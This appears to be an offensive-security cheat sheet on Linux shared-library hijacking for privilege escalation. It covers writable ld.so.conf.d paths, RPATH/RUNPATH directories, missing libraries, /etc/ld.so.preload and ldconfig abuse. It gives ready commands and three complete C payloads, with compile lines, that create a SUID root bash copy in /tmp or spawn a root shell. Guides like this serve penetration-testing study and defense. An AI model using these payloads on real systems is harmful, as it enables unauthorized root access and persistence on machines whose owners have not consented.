Shared Library Hijacking

Overview

Linux binaries load shared libraries (.so) at runtime. If you can control where libraries are loaded from, you can inject malicious code that runs with the binary’s privileges.

Library Search Order

RPATH (embedded in binary, deprecated)
LD_LIBRARY_PATH (environment variable)
RUNPATH (embedded in binary)
/etc/ld.so.cache (generated from ld.so.conf)
/lib and /usr/lib (default)

Writable /etc/ld.so.conf.d/

ls -la /etc/ld.so.conf.d/

If writable, add custom library path:

echo "/tmp/evil" > /etc/ld.so.conf.d/evil.conf
ldconfig

Create malicious library in /tmp/evil/ matching a library name used by a root process.

Writable Library Directories

Check if any configured library path is writable:

cat /etc/ld.so.conf /etc/ld.so.conf.d/*.conf 2>/dev/null
ldconfig -p | awk -F'=> ' '{print $2}' | xargs -I{} dirname {} | sort -u | while read d; do [ -w "$d" ] && echo "WRITABLE: $d"; done

If writable → replace existing library or add new one.

RPATH / RUNPATH Injection

Check Binary for RPATH/RUNPATH

readelf -d /usr/local/bin/target | grep -i "rpath\|runpath"

objdump -p /usr/local/bin/target | grep -i "rpath\|runpath"

Example Output

RUNPATH: /home/user/lib:/usr/lib

If /home/user/lib is writable:

Find Libraries the Binary Loads

ldd /usr/local/bin/target

Create Malicious Library

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0, 0, 0);
    system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
}

Compile:

gcc -shared -fPIC -o /home/user/lib/libtarget.so hijack.c

Run SUID binary or wait for root service to execute it.

Missing Shared Library

If a SUID binary or root service tries to load a library that doesn’t exist:

Find Missing Libraries

strace /usr/local/bin/suid-binary 2>&1 | grep "No such file"

ldd /usr/local/bin/suid-binary | grep "not found"

Example

libcustom.so => not found

Find writable directory in search path and create the library:

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

gcc -shared -fPIC -nostartfiles -o /writable/path/libcustom.so exploit.c

ld.so.preload

/etc/ld.so.preload is loaded before all other libraries for every binary.

Check Permissions

ls -la /etc/ld.so.preload

If writable:

echo "/tmp/evil.so" > /etc/ld.so.preload

Create evil.so:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    if (getuid() == 0) {
        unsetenv("LD_PRELOAD");
        system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
    }
}

gcc -shared -fPIC -nostartfiles -o /tmp/evil.so evil.c

Next time any root process runs → payload executes.

ldconfig Abuse

If you can run ldconfig (directly or via sudo):

sudo ldconfig

After adding malicious path to /etc/ld.so.conf.d/ or placing library in existing path, ldconfig rebuilds the cache:

# Verify cache updated
ldconfig -p | grep evil

Quick Reference

Scenario	Technique
Writable `/etc/ld.so.conf.d/`	Add custom lib path + ldconfig
Writable RPATH/RUNPATH dir	Drop malicious .so
Missing library (not found)	Create .so in search path
Writable `/etc/ld.so.preload`	Preload malicious .so globally
Writable library directory	Replace existing .so

​Overview

​Library Search Order

​Writable /etc/ld.so.conf.d/

​Writable Library Directories

​RPATH / RUNPATH Injection

​Check Binary for RPATH/RUNPATH

​Example Output

​Find Libraries the Binary Loads

​Create Malicious Library

​Missing Shared Library

​Find Missing Libraries

​Example

​ld.so.preload

​Check Permissions

​ldconfig Abuse

​Quick Reference